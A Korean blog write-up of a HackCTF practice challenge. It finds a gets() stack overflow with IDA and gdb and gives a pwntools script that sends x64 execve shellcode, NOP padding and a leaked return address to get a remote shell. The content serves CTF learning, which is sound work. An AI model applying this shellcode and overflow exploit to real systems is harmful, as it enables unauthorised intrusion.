문제 종류 - Pwnable
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3005
풀이
pwn 패키지 가끔 헷갈려서 또 삽질했네... ^---^
우선 IDA로 열어봅시다.
main 함수에서 gets 함수를 사용해 bof를 발생시킵니다. 쉘 함수가 없는거로 봐서는, 직접 쉘 코드를 작성해야 합니다.
이제 gdb로 열어봅시다.
이번에는 좀 큰 사이즈인 0x6d30(27952)칸을 할당받는다.
x64 환경이니, 쉘코드 + 더미 값 + RET 페이로드를 작성해 쉘을 열어보자.
난 31byte 쉘 코드를 사용했기 때문에 쉘코드(31) + 더미(27929) + RET(6)칸을 적어주면 될 듯하다.
RET의 사용될 buf의 시작 주소는, 프로그램을 실행하면 다음과 같은 형식으로 알려준다.
buf의 주소가 항상 바뀌기 때문에, pwn 패키지를 이용해 저 부분만 긁어보면 될 거 같다.
아직 pwn에 익숙하지가 않아서, 코드가 조금 더럽다 ^--^..
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3005)
4
5 for i in range(0,2):
6 arr = p.recvline()
7 arr = arr[5:19]
8
9 payload = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
10 payload += '\x90'*27929
11 payload += p64(int(arr,16))
12
13 p.sendline(payload) 14 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Offset 풀이 (150p) (0) | 2020.07.15 |
---|---|
[HackCTF] Simple_Overflow_ver_2 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] x64 Buffer Overflow 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] 내 버퍼가 흘러넘친다!!! 풀이 (150p) (0) | 2020.07.15 |
[HackCTF] 달라란 침공 풀이 (150p) (0) | 2020.07.14 |